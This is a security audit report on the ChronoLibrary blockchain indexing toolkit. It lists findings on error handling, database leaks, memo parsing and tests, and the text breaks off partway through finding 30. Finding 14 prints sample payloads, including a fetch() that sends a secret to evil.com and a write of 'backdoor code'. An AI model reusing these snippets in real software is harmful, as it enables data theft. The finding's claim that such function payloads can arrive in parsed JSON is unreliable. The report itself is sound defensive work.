Security Audit Report

ChronoLibrary

v1.0

September 22, 2025

Table of Contents

Table of Contents 2
License 5
Disclaimer 6
Introduction 7
- Purpose of This Report 7
- Codebase Submitted for the Audit 7
- Methodology 9
- Functionality Overview 9

How to Read This Report 10
Code Quality Criteria 11
Summary of Findings 12
Detailed Findings 15
1. Lack of network error handling breaks API rotation 15
2. Blocks are repeatedly processed, resulting in potentially incorrect state updates 15
3. Leaked database connections may cause resource exhaustion 16
4. Incompatible Action interfaces may cause integration failures 17
5. Inconsistent inclusion or exclusion of empty arguments in extractMemoContent may lead to confusion 17
6. Prototype pollution allows crafted memos to bypass validation 18
7. Lack of cross-validation between multiple RPCs may lead to the use of tampered data 18
8. Failure fetching batches can cause an infinite retry loop 19
9. Malicious transaction memo may cause the indexer to halt 20
10. Lack of action ordering check may cause state corruption 20
11. Non-robust cloning method may cause data corruption 21
12. Incorrect test expected values cause validation against the wrong parameters 21
13. Incorrect usage of expect in vitest causes tests to never fail 22
14. Malicious JSON responses may cause application crashes, state corruption, or code execution 23
15. Unhandled exception in base64ToArrayBuffer function may cause application crashes 24
16. No check on the returned value of findIndex may cause incorrect callback removal 25
17. Unclear message filter logic may cause unexpected transaction inclusion 25
18. Unhandled JSON.stringify operations may cause process crashes 26
19. No verification on the namespace may lead to state corruption 26
20. getCurrentBlockHeight should return a number instead of a string for the block height 27
21. Use of any type reduces type safety and code clarity 27
22. Hardcode the last_block row ID in the select and update statements to prevent

interacting with the wrong row in the SQLite database 28
23. Hardcoded API endpoint assumptions 28
24. Generic error message masks root cause 29
25. Inconsistent function description may lead to confusion 29
26. Memo parser handling of quotes may lead to unexpected results 30
27. Inconsistent parameter types across API functions 30
28. Limited Unicode encoding support may cause incomplete decoding 31
29. Incorrect documentation may mislead developers 31
30. The incremental ID starts at two, which may confuse developers expecting standard indexing 32
31. Limited support for nested authz MsgExec transactions 32
32. Unused lastAction variable may confuse application developers 33
33. Unused configuration parameters create unnecessary complexity 33
34. Outdated dependency versions may introduce security vulnerabilities 34
35. Missing configuration validation may cause runtime failures 34
36. Use configurable values instead of hardcoded constants 35
Security Model 36
System Overview 36
Assets 36
Blockchain transaction data 36
Application state 36
Synchronization state 37
Configuration data 37
RPC/API endpoints 37
Database systems 37
Network connectivity 37
Stakeholders/Potential Threat Actors 38
Application developers 38
ChronoLibrary developers 38
Cosmos chain validators 38
RPC/API server node operators 39
Users 39
Supply chain 39
Malicious actors 39
Assumptions 39
Blockchain and transaction data integrity 39
RPC/API endpoints providing authentic blockchain data 39
Honest operator behavior and secure operational practices 40
Secure infrastructure deployment and access controls 40
Sufficient system resources and proper input validation 40
Threat Model 40
Process Applied 40

STRIDE Interpretation in the Blockchain Context 41
STRIDE Classification 42
Mitigation Matrix 43
ChronoState Blockchain Indexer 43
ChronoSync Database Storage 45
ChronoConstructor State Parser 46
Configuration & Infrastructure 47

License

Disclaimer

This audit has been performed by

Oak Security GmbH

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security GmbH has been engaged by All in Bits, Inc. to perform a security audit of ChronoLibrary.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following target:

Repository	https://github.com/allinbits/chronolibrary
Commit	`d4803f108d78d557233288c51a65d5722eca59a2`
Scope	The ChronoState, ChronoSync, and ChronoConstructor components in the following directories of the repository were in scope: ● `packages/chronostate` ● `packages/chronosync-mongodb` ● `packages/chronosync-postgres` ● `packages/chronosync-sqlite` ● `packages/chronoconstructor`

Fixes verified at commit	`2e289ab72b7336de50655c041b0bbd225b219b26` Note that only fixes to the issues described in this report have been reviewed at this commit. Any further changes such as additional features have not been reviewed.

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line-by-line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

ChronoLibrary is a toolkit that empowers developers to create fully reproducible application state on AtomOne that can be replayed by any client and can be utilized by anyone to create front-facing applications with shared application state.

Anyone can then use that shared application state to build their own uncensorable applications, or provide custom features based on protocols written by the community.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending, Acknowledged**, **Partially Resolved**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Low	-
Code readability and clarity	High	-
Level of documentation	High	The client provided detailed documentation outlining the overall architecture, concepts, and workflows.
Test coverage	Low-Medium	`vitest` reports the following line test coverages: • `packages/chronostate`: `31.04%` • `packages/chronoconstructor`: `70.32%` No tests are available for the following packages: • `packages/chronosync-mongodb` • `packages/chronosync-postgres` • `packages/chronosync-sqlite`

Summary of Findings

No	Description	Severity	Status
1	Lack of network error handling breaks API rotation	Major	Resolved
2	Blocks are repeatedly processed, resulting in potentially incorrect state updates	Major	Resolved
3	Leaked database connections may cause resource exhaustion	Major	Resolved
4	Incompatible `Action` interfaces may cause integration failures	Major	Resolved
5	Inconsistent inclusion or exclusion of empty arguments in `extractMemoContent` may lead to confusion	Minor	Resolved
6	Prototype pollution allows crafted memos to bypass validation	Minor	Resolved
7	Lack of cross-validation between multiple RPCs may lead to the use of tampered data	Minor	Acknowledged
8	Failure fetching batches can cause an infinite retry loop	Minor	Resolved
9	Malicious transaction memo may cause the indexer to halt	Minor	Resolved
10	Lack of action ordering check may cause state corruption	Minor	Resolved
11	Non-robust cloning method may cause data corruption	Minor	Resolved
12	Incorrect test expected values cause validation against the wrong parameters	Minor	Resolved
13	Incorrect usage of expect in vitest causes tests to never fail	Minor	Resolved
14	Malicious JSON responses may cause application crashes, state corruption, or code execution	Minor	Acknowledged
15	Unhandled exception in `base64ToArrayBuffer` function may cause application crashes	Minor	Resolved
16	No check on the returned value of `findIndex`	Minor	Resolved

	may cause incorrect callback removal		
17	Unclear message filter logic may cause unexpected transaction inclusion	Minor	Resolved
18	Unhandled `JSON.stringify` operations may cause process crashes	Minor	Resolved
19	No verification on the namespace may lead to state corruption	Minor	Resolved
20	`getCurrentBlockHeight` should return a number instead of a string for the block height	Informational	Acknowledged
21	Use of any type reduces type safety and code clarity	Informational	Acknowledged
22	Hardcode the `last_block` row ID in the select and update statements to prevent interacting with the wrong row in the SQLite database	Informational	Resolved
23	Hardcoded API endpoint assumptions	Informational	Resolved
24	Generic error message masks root cause	Informational	Resolved
25	Inconsistent function description may lead to confusion	Informational	Resolved
26	Memo parser handling of quotes may lead to unexpected results	Informational	Acknowledged
27	Inconsistent parameter types across API functions	Informational	Resolved
28	Limited Unicode encoding support may cause incomplete decoding	Informational	Resolved
29	Incorrect documentation may mislead developers	Informational	Resolved
30	The `incremental` ID starts at two, which may confuse developers expecting standard indexing	Informational	Resolved
31	Limited support for nested authz `MsgExec` transactions	Informational	Resolved
32	Unused `lastAction` variable may confuse application developers	Informational	Resolved
33	Unused configuration parameters create unnecessary complexity	Informational	Acknowledged
34	Outdated dependency versions may introduce security vulnerabilities	Informational	Resolved

35	Missing configuration validation may cause runtime failures	**Informational**	**Acknowledged**
36	Use configurable values instead of hardcoded constants	**Informational**	**Acknowledged**

Detailed Findings

1. Lack of network error handling breaks API rotation

Severity: Major

The `getBlockByHeight` function in `packages/chronostate/src/requests/index.ts:22-32` lacks proper network error handling with a catch on the `fetch` call.

This `fetch` call is located within an API rotation logic, meaning that when one API request fails, it should try the next server. However, a `fetch` call will throw when there is a network issue (DNS resolution fails, connection timeout, etc.), and the lack of proper error handling around it means that it will break the API rotation (i.e., not try the next server).

If this error persists with the first configured API server, the `getBlockByHeight` function will enter an infinite loop. This occurs because the exception is caught by `fetchBatchWithRetry` in `packages/chronostate/src/index.ts:197-202`, which then calls the `getBlockByHeight` function again after two seconds.

This issue is also present in the `getTransaction` function in `packages/chronostate/src/requests/index.ts:37`, as called within the `fetchMemoWithRetry` function in `packages/chronostate/src/index.ts:213`.

Recommendation

We recommend catching the error returned from the fetch calls and ensuring that all APIs are attempted before returning a failure.

Status: Resolved

2. Blocks are repeatedly processed, resulting in potentially incorrect state updates

Severity: Major

In `packages/chronostate/src/index.ts:102-145`, the loop starts at `parseInt(this.lastBlock)` and processes blocks from `i` to `batchEnd` inclusive in each iteration. At the end of each iteration, in line `143`, `this.lastBlock` is set to `batchEnd`.

However, the next iteration starts at `parseInt(this.lastBlock)`, which equals the previous `batchEnd`. This means the block at `batchEnd` gets processed in both the current iteration (as the last block) and the next iteration (as the first block).

The issue is compounded by the semantic confusion that `this.lastBlock` is initialized as `config.START_BLOCK` in line `29`, suggesting it represents the starting point rather than the last processed block. Similarly, in `chronosync` packages, the `START_BLOCK` value is initialized to the last processed block. This naming inconsistency makes the duplicate processing bug less obvious and harder to debug, and causes block reprocessing on restart in `chronosync` packages.

This duplicate processing can lead to transactions being processed multiple times, resulting in duplicate actions being emitted, incorrect state updates, and potential inconsistencies in the application state.

Recommendation

We recommend renaming `this.lastBlock` to `this.startBlock` to clarify its purpose and setting it to `batchEnd + 1` at the end of each iteration to ensure each block is processed exactly once.

Also, we recommend making sure that the implementation of all `chronosync` packages includes the updated definition of `START_BLOCK`, to stay compatible with the `chronostate` package.

Status: Resolved

3. Leaked database connections may cause resource exhaustion

Severity: Major

In `packages/chronosync-postgres/src/database.ts:13-38` and `45-57`, `pool.connect` is used to create a client connection, but the client is never released using `client.release`. This creates a connection leak where database connections remain open indefinitely, consuming valuable database resources.

The `initDatabase` function acquires a client connection in line `13` and performs multiple queries without releasing the connection. Similarly, the `insert` function in the `action` object acquires a client connection in line `45` for a single query operation but never releases it. Over time, these leaked connections can exhaust the database connection pool, leading to application failures when new connections cannot be established.

Recommendation

We recommend calling `client.release` at the end of the `initDatabase` function and properly encapsulating database operations in try-catch-finally blocks with the `release` call in the `finally` block to ensure connections are released even if errors occur.

For the `insert` function, consider using `pool.query` directly instead of `pool.connect` since there is only one query to execute, as `pool.query` automatically handles connection acquisition and release.

Status: Resolved

4. Incompatible `Action` interfaces may cause integration failures

Severity: Major

In `packages/chronostate/src/types/index.ts:11-17`, the `Action` interface defines properties `messages: Array<T>` but does not include `from_address: string`, `to_address: string`, and `amounts: Array<{ denom: string; amount: string; }>` that are present in the `Action` interface defined in `packages/chronoconstructor/src/index.ts:1-12`.

This inconsistency means that `chronoconstructor` may not be suitable for processing actions as saved in databases using `chronosync` packages, since they save `chronostate`'s `Action` type, which has a different structure.

The documentation at https://chronolibrary.com/constructor/ reinforces this issue by suggesting calling the `chronoConstruct.parse` function using `dataFromChronoSyncHere` as the `actions: Action[]` parameter, explicitly indicating that the data should come from `chronosync`. The incompatible interfaces can lead to runtime errors, failed type checks, or unexpected behavior when attempting to use actions from one package with components from another.

Recommendation

We recommend either unifying the `Action` interfaces across packages by creating a shared types package or clearly documenting the intended usage patterns and ensuring proper type conversions between the different `Action` formats when integrating the packages.

Status: Resolved

5. Inconsistent inclusion or exclusion of empty arguments in `extractMemoContent` may lead to confusion

Severity: Minor

In `packages/chronoconstructor/src/index.ts:173-174` and `packages/chronostate/src/utility/index.ts:63-64`, an argument is extracted from the memo even if it is empty or empty after trimming. However, in `packages/chronoconstructor/src/index.ts:181-183` and `packages/chronostate/src/utility/index.ts:71-73`, the last argument is not extracted in this case.

This means that a memo with `namespace.function(arg1, , )` would result in two arguments being extracted: `["arg1", " "]` while the expectation could be that the third argument should also be extracted similarly to the second one. We can note that a memo with `namespace.function("arg1"," "," ")` would result in three extracted arguments: `["arg1", " ", " "]`.

This inconsistency in argument extraction behavior can lead to confusion for developers and potential issues when parsing function parameters, as the same logical structure may produce different results depending on argument position.

Recommendation

We recommend having the same behavior for the last argument as the previous ones. Additionally, we recommend clarifying how arguments are extracted from the memo to prevent confusion.

Status: Resolved

6. Prototype pollution allows crafted memos to bypass validation

Severity: Minor

In `packages/chronoconstructor/src/index.ts`, the `mappings` property of the `ChronoConstructor` class is initialized as a standard JavaScript `Object`. Because this object inherits from `Object.prototype`, it is vulnerable to prototype pollution.

A Cosmos transaction `memo` that resolves to a function name existing on `Object.prototype`, such as `constructor` or `toString` will incorrectly pass the validation check in the `parse` and `parseDirect` functions, which is intended to ensure a mapping exists for the parsed `functionName`, because the property is found on the prototype chain.

As a result, the application attempts to execute a method from `Object.prototype`, causing it to silently process a malformed memo instead of skipping it as intended. This can lead to unexpected behavior while processing transactions.

Recommendation

We recommend initializing the mappings object using `Object.create(null)`. This creates an object with no prototype, ensuring that only explicitly defined mappings can be executed and preventing access to methods inherited from `Object.prototype`.

Status: Resolved

7. Lack of cross-validation between multiple RPCs may lead to the use of tampered data

Severity: Minor

The `getCurrentBlockHeight`, `getBlockByHeight`, and `getTransaction` functions in `packages/chronostate/src/requests/index.ts` fetch blockchain data from a list of API URLs. The functions iterate through the provided list, using the response from the first endpoint that returns a successful response.

However, the functions do not perform cross-validation on the data returned from these endpoints. If an API endpoint in the list is malicious or has been compromised, it could serve tampered data. Because the library accepts the first valid response, it could cause the application to process manipulated blockchain data. This could lead to incorrect state transitions or the display of false information to users, depending on how the data is utilized.

Recommendation

We recommend implementing a cross-validation mechanism for data retrieved from multiple API endpoints.

For functions like `getBlockByHeight` and `getTransaction`, the library could query a quorum of endpoints and verify that their responses are identical. For `getCurrentBlockHeight`, it could query several endpoints and use the median height to ensure it is operating on a value that the majority of sources agree on. This would enhance security by ensuring the integrity of blockchain data.

Status: Acknowledged

The client acknowledges this finding with the note that, due to the nature and complexity of schemas and the responses received, they are not standardized across all chains. Thus making responses much more unpredictable.

8. Failure fetching batches can cause an infinite retry loop

Severity: Minor

In the `fetchBatchWithRetry` function in `/packages/chronostate/src/index.ts:177-203` the function uses a fixed 2-second delay between retries without exponential backoff or maximum retry limits. If there is a persistent issue with a specific block range, it will infinitely loop to attempt to fetch the batch. The function lacks context on failed heights, which can be problematic since individual blocks can cause the batch to fail or retry.

Recommendation

We recommend handling height successes and failures individually to ensure that the entire batch range is not re-fetched for a single erroring block. Additionally, we recommend implementing a maximum number of failures for a specific height or batch that will break the loop to avoid infinite looping.

Finally, to accommodate rate-limited RPC/API servers, which may require longer backoff periods, we recommend integrating an exponential retry system, with a short initial retry, then increasing delays between each attempt, with a maximum backoff (max delay).

Status: Resolved

9. Malicious transaction memo may cause the indexer to halt

Severity: Minor

In the `fetchMemoWithRetry` function in `packages/chronostate/src/index.ts:206`, all errors are handled uniformly in line `241`. Any error that arises in the `try` block in `packages/chronostate/src/index.ts:208-240` is caught and a retry is attempted. This is potentially problematic because if an attacker can craft a memo that causes `findValidMemo` to propagate an error in a deterministic manner that causes the catch on line `241` to occur, it would cause `fetchMemoWithRetry` to enter an infinite retry loop where a single transaction would prevent the indexer from progressing.

We classify this as a minor severity because we were unable to determine a specific case where the `findValidMemo` function errors in an unexpected manner, but we cannot rule out the possibility of this occurring.

Recommendation

We recommend against retrying errors from the `findValidMemo` function, as if they cause an error, they are probably not valid memos. Additionally, we suggest setting a maximum number of retries for each transaction.

Status: Resolved

10. Lack of action ordering check may cause state corruption

Severity: Minor

In `packages/chronoconstructor/src/index.ts:61-74`, actions are processed one after the other, without any further check that they are correctly ordered. As it is important to reconstruct the state using ordered actions, it could cause state corruption if the actions were not passed in the appropriate order.

Recommendation

We recommend adding a check using `this.lastBlock` to ensure the actions are correctly ordered, and discarding any action with a height less than `this.lastBlock`.

Also, as the `this.lastBlock` value would be updated within the loop, we recommend removing lines `76-78`, which are currently setting a never-used `this.lastBlock` property.

Finally, since multiple actions from different transactions can occur in the same block, and it is impossible to verify the ordering, we recommend adding a comment to clarify this assumption that actions are received in the correct order.

Status: Resolved

11. Non-robust cloning method may cause data corruption

Severity: Minor

In `packages/chronoconstructor/src/index.ts:59`, the cloning method does not handle all types well. Indeed, the current implementation uses `JSON.parse (JSON.stringify(existingData))`, which has known limitations for complex data types.

This can lead to data corruption during the parsing process, where `Date` objects are converted to strings, functions are lost, and `BigInt` values cause runtime errors. Applications relying on these data types may experience unexpected behavior or failures.

Recommendation

We recommend either adding a comment to clarify what types are accepted within `T` when creating the `ChronoConstructor`, or using a more robust cloning method such as structured cloning or a dedicated deep cloning library that properly handles all JavaScript data types.

Status: Resolved

12. Incorrect test expected values cause validation against the wrong parameters

Severity: Minor

In `packages/chronoconstructor/tests/index.test.ts:23-24`, the tests are incorrect, because the extracted namespace should be `example` and the extracted function should be `send`. The current test expects the namespace to be `hello` and the function name to be `world`, which are actually the function parameters, not the namespace and function name from the memo `example.send("hello", "world", "!")`.

This incorrect test logic means that the test is validating against wrong expected values, potentially masking actual bugs in the namespace and function extraction logic.

Recommendation

We recommend updating the tests as:

```
expect(results?.namespace).toBe('example');
expect(results?.functionName).toBe('send');
```

Status: Resolved

13. Incorrect usage of `expect` in `vitest` causes tests to never fail

Severity: Minor

In `packages/chronoconstructor/tests/index.test.ts:4-60` and `packages/chronostate/tests/utility.test.ts:37-44`, tests are defined and written as `expect(statement)`. However, the `expect` function used this way is essentially a no-op that will never fail, because it does not actually test anything. It needs to be chained with a matcher, such as `toBe`.

This means that all tests will appear to pass even when the actual functionality is broken, providing false confidence in the code quality and potentially allowing bugs to go undetected in production.

Examples:

- `expect(results[0] == 'hello');` could be rewritten as `expect(results[0]).toBe('hello');`
- `expect(results.length <= 0);` could be rewritten as `expect(results.length).toBeLessThanOrEqual(0);`

Recommendation

We recommend updating all test assertions to use proper matcher functions with `expect`, or alternatively, using `assert` instead of `expect` in these tests.

Status: Resolved

14. Malicious JSON responses may cause application crashes, state corruption, or code execution

Severity: Minor

In `packages/chronostate/src/requests/index.ts:16`, `31` and `45`, if a blockchain API is compromised or returns malicious content, attackers could exploit these parsing operations to cause denial of service through extremely large JSON payloads, deeply nested objects causing stack overflow, prototype pollution attacks through crafted JSON objects, or application crashes through invalid JSON structures. The code uses TypeScript casting (`as BlockResponse`, `as TransactionResponse`) but performs no runtime validation of the parsed data structure.

While the functions calling these methods (`updateMaxBlock`, `fetchBatchWithRetry`, and `fetchMemoWithRetry`) handle JSON parsing errors with try-catch blocks, they do not protect against malicious but valid JSON payloads that could exploit JavaScript parsing vulnerabilities.

Prototype pollution attacks are particularly concerning as they can inject malicious `toJSON` methods that corrupt all subsequent JSON serialization operations throughout the application. For example, a payload containing `"__proto__": {"toJSON": function() { return "HACKED!"; }}` would cause all objects to serialize incorrectly, potentially leading to data corruption in blockchain state reconstruction, transaction processing, or database storage operations.

Some examples of other payloads that could lead to secret extraction:

```
{
  toJSON: function() {
    fetch('https://evil.com/' + encodeURIComponent(someSecret));
    return "valid_data";
  }
}
```

Application crash:

```
{ toJSON: () => { throw new Error("Crash!"); } }
```

Or code execution:

```
{
  toJSON: function() {
    require('fs').writeFileSync('./malicious.js', 'backdoor code');
    return "valid_data";
  }
}
```

Recommendation

We recommend implementing response size limits, JSON schema validation for expected data structures, timeout limits for parsing operations, and sanitization of parsed objects to prevent prototype pollution attacks, including removal of dangerous keys like `__proto__`, `constructor`, and `prototype`.

Status: Acknowledged

The client acknowledges this finding with the note that, due to the nature and complexity of schemas and the responses received, they are not standardized across all chains. Thus making responses much more unpredictable.

15. Unhandled exception in `base64ToArrayBuffer` function may cause application crashes

Severity: Minor

In `packages/chronostate/src/utility/index.ts:8-17`, the `base64ToArrayBuffer` function uses `atob` without exception handling, causing application crashes when processing malformed base64 input. The `atob` function throws an exception when given invalid base64 strings, which can propagate up the call stack and terminate the application unexpectedly.

Moreover, `atob` is a legacy function, and it is suggested to use `Buffer.from(str, 'base64')` for code running using Node.js API.

This can lead to service disruption when the application encounters malformed base64 data from external sources, such as blockchain transactions or user input, preventing proper error handling and recovery.

Recommendation

We recommend wrapping `atob` in a try-catch block and returning `null` for invalid input, updating downstream functions (`sha256`, `toHex`) to handle null values, and validating base64 format before processing to ensure graceful error handling. It is also recommended to stop using `atob` in new code.

Status: Resolved

16. No check on the returned value of `findIndex` may cause incorrect callback removal

Severity: Minor

In `packages/chronostate/src/index.ts:52-53` and `63-64`, the removal of callbacks is done using `splice(idx, 1)` where `idx` is retrieved using the `findIndex` function.

However, when `findIndex` cannot find the entry, it will return `-1`, in which case `splice(-1, 1)` will remove the last element of the array. This can lead to unintended removal of callbacks when attempting to remove a non-existent callback ID, potentially breaking the functionality of other registered callbacks and causing unexpected behavior in the application.

Recommendation

We recommend adding a check: `if (idx !== -1)` before calling `splice`.

Status: Resolved

17. Unclear message filter logic may cause unexpected transaction inclusion

Severity: Minor

In `packages/chronostate/src/utility/index.ts:116-123`, if both `sender` and `receiver` are configured, application developers could expect that it would only filter transactions that are from `sender` to `receiver`. However, in this situation, it returns all `MsgSend` messages that are either from `sender` or to `receiver`, using an `OR` condition instead of an `AND` condition.

This can lead to unexpected behavior where transactions not intended to be processed are included in the results, potentially causing incorrect state updates or processing of irrelevant transaction data.

Recommendation

We recommend clarifying the filtering logic in the documentation or providing separate configuration options for different filtering behaviors (`OR` vs `AND` logic) to make the intended behavior explicit for application developers.

Status: Resolved

18. Unhandled `JSON.stringify` operations may cause process crashes

Severity: Minor

In `packages/chronosync-postgres/src/database.ts:55` and `packages/chronosync-sqlite/src/index.ts:23`, `JSON.stringify` is called on `action.messages` without error handling. The `JSON.stringify` operation can throw exceptions if the messages contain non-serializable values such as circular references, functions, or other problematic data types.

We classify this issue as minor since the messages are generated by a trusted dependency: `chronostate` within the `txResponse.json` call in `packages/chronostate/src/requests/index.ts:45`, and not modified after. However, it is always recommended to write defensive code that is safe independently of dependency packages, as the behavior of dependencies may be modified over time and could potentially introduce non-serializable data that would cause the application to crash unexpectedly.

Recommendation

We recommend encapsulating the `JSON.stringify` operations in try-catch blocks to handle potential serialization errors gracefully and prevent process crashes.

Status: Resolved

19. No verification on the namespace may lead to state corruption

Severity: Minor

In `packages/chronoconstructor/src/index.ts:62-73`, the namespace and function names are first extracted from the memo. However, the namespace is not checked for correctness before calling mapped functions.

This lack of namespace validation means that actions from unintended namespaces could trigger mapped functions, causing the application state to be modified in unexpected ways or with incorrect assumptions about the data context.

Recommendation

We recommend checking that the namespace is appropriate before calling the corresponding mappings function. To help with this, the namespace could be passed along with the function name when calling `addAction`, creating different mappings for each namespace.

Status: Resolved

20. `getCurrentBlockHeight` should return a `number` instead of a `string` for the block height

Severity: Informational

In `packages/chronostate/src/requests/index.ts:5-21`, the `getCurrentBlockHeight` function fetches the latest block height from an RPC endpoint and returns it as a string.

This requires the `updateMaxBlock` function in `packages/chronostate/src/index.ts:158` to parse the string-based block height into a number. Centralizing the type conversion within the `getCurrentBlockHeight` function would improve code clarity and maintainability, and ensure best practices for type consistency.

Recommendation

We recommend updating `getCurrentBlockHeight` to return a `number` instead of a `string`, thereby removing the need for type conversion in `updateMaxBlock`.

Status: Acknowledged

The client acknowledges this finding with the note that they will not apply this recommendation as the block height is always stored as a string in the original response.

21. Use of `any` type reduces type safety and code clarity

Severity: Informational

Throughout the codebase, the `any` type is used for various properties in data structures, which circumvents TypeScript's static type checking. This practice can lead to runtime errors, reduce code clarity, and make maintenance more difficult.

For example, in `packages/chronostate/src/types/block.ts:57`, the `txs` property in the `Data` interface is typed as `any[]`. Since transactions in a block are base64-encoded strings, a more precise type such as `string[]` should be used.

The use of `any` undermines the benefits of TypeScript, making the code more prone to errors and harder for developers to understand and use correctly.

Recommendation

We recommend replacing the `any` type with more specific types across the codebase to improve type safety and code quality.

In cases where the type is genuinely unknown, `unknown` should be preferred over `any` as it forces type checking before use.

Status: Acknowledged

The client acknowledges this finding with the note that they will resolve at a later date.

22. Hardcode the `last_block` row ID in the select and update statements to prevent interacting with the wrong row in the SQLite database

Severity: Informational

In `packages/chronosync-sqlite/src/database.ts:40-41`, the prepared statements for selecting and updating the `last_block` table accept a parameterized `id`.

The `last_block` table is intended to have a single row to track the last processed block, identified by `id = 1`. By allowing the `id` to be a parameter in the `select` and `update` statements, the calling code is responsible for providing the correct `id`. If an incorrect `id` is supplied, it could lead to failures in retrieving or updating the last block's height, potentially causing the synchronization service to malfunction or process blocks incorrectly. This also contrasts with the PostgreSQL implementation in `packages/chronosync-postgres/src/database.ts`, where the `id` is consistently hardcoded in all queries related to the `last_block` table.

Recommendation

We recommend hardcoding the `id` to `1` in the `select` and `update` statements for the `last_block` SQLite table to ensure consistency and prevent potential issues.

Status: Resolved

23. Hardcoded API endpoint assumptions

Severity: Informational

In the `getBlockByHeight` function in `/packages/chronostate/src/requests/index.ts:22-32`, the hardcoded Tendermint API endpoint assumes all Cosmos chains use standard Tendermint APIs, which may not be true for all chains. This is also present in `packages/chronostate/src/requests/index.ts:37`.

Moreover, in `packages/chronostate/src/utility/index.ts:113` and `118`, the code uses hardcoded `authz` and `bank` message types. It is not certain that all chains use the same `authz` or `bank` message namespaces, as some chains may fork and use different namespaces for these message types.

This hardcoding limits the library's compatibility with blockchain networks that have customized or modified message type identifiers, potentially causing the filtering logic to fail on non-standard chains.

Recommendation

We recommend making these query paths and message types customizable, with default values, and clarifying how the caller can provide a custom query path or message type for their specific chain if needed.

Status: Resolved

24. Generic error message masks root cause

Severity: Informational

In the `getCurrentBlockHeight` function in `/packages/chronostate/src/requests/index.ts:5-20`, the generic error message "all API urls have failed" doesn't provide specific information about why the requests failed, making debugging difficult. Developers and users won't know if the issue is network-related, API-related, or configuration-related.

Recommendation

We recommend including more specific error details, such as HTTP status codes and network error types, to facilitate easier understanding of the errors.

Status: Resolved

25. Inconsistent function description may lead to confusion

Severity: Informational

In `packages/chronoconstructor/src/index.ts:19-26`, the description of the constructor presents a parameter `memoPrefix` that is not present in the actual `constructor`. The JSDoc comment describes a `memoPrefix` parameter and suggests usage examples like `0xForum` or `MyNameSpace`, but the constructor implementation takes no parameters.

This inconsistency between documentation and implementation can lead to developer confusion when using the library, as they may attempt to pass a parameter that does not exist or expect functionality that is not implemented.

Recommendation

We recommend aligning the function description with the function implementation. Either update the JSDoc comment to reflect that the constructor takes no parameters, or implement the `memoPrefix` parameter if it is intended functionality.

Status: Resolved

26. Memo parser handling of quotes may lead to unexpected results

Severity: Informational

In `packages/chronoconstructor/src/index.ts:166-179` and `packages/chronostate/src/utility/index.ts:56-69`, there is no check that the `inString` value ends with a false value, meaning that there may not be an ending `"` character. Furthermore, the `"` character may not be at the start or the end of an item but still be considered as the beginning or end of a string, preventing the separation into multiple items with the `,` character.

We classify this issue as informational because the expected memo structure and function parameter processing are unclear. For instance, how should the following memo be treated: `namespace.function(a"b,c"d"e,f)`. The current parser would consider it as one parameter `a"b,c"d"e,f`.

Recommendation

We recommend clarifying the valid memo structure and handling procedures, and ensuring the parser processes memos according to specifications.

Status: Acknowledged

The client acknowledges this finding with the note that they will revisit this at a later date.

27. Inconsistent parameter types across API functions

Severity: Informational

In `packages/chronostate/src/requests/index.ts:37`, the `getTransaction` function receives `config: Config` as a parameter, whereas other functions receive `apiUrls: string[]`. This inconsistency in parameter types across similar API functions can lead to confusion for developers and may indicate a lack of standardization in the codebase design.

While this does not pose a functional risk, it makes the API less intuitive and harder to maintain, as developers must remember different parameter patterns for similar operations.

Recommendation

We recommend standardizing the parameter types across all API functions to use a consistent approach, either by having all functions accept `config: Config` or `apiUrls: string[]`.

Status: Resolved

28. Limited Unicode encoding support may cause incomplete decoding

Severity: Informational

In `packages/chronostate/src/utility/index.ts:32`, the `decodeUnicode` function only decodes `\uXXXX` unicode encoding, and does not handle `\UXXXXXXXX` (uppercase U with 8 digits) or `\xXX` hex encoding formats. This limited support means that strings containing other valid Unicode escape sequences will not be properly decoded, potentially leaving escaped characters in their raw form.

This can lead to incomplete or incorrect text processing when handling Unicode strings that use different encoding formats, affecting the accuracy of data interpretation and display.

Recommendation

We recommend either accepting any Unicode encoding format or clarifying the documentation to specify which encoding formats are supported.

Status: Resolved

29. Incorrect documentation may mislead developers

Severity: Informational

In `packages/chronostate/README.md:13-20`, it is recommended to use `URLSearchParams` for memos. However, the implementation has transitioned from using `URLSearchParams` to a different format, such as `namespace.function("arg1","arg2","arg3")`.

The documentation shows an example using `URLSearchParams` format like `0xForum?a=CREATE_THREAD&t=Some Title&c=Some Content`, which does not match the actual function-call syntax expected by the current implementation. This discrepancy can mislead developers about the correct memo format to use.

Recommendation

We recommend updating the documentation to reflect the actual implementation.

Status: Resolved

30. The `incremental` ID starts at two, which may confuse developers expecting standard indexing

Severity: Informational

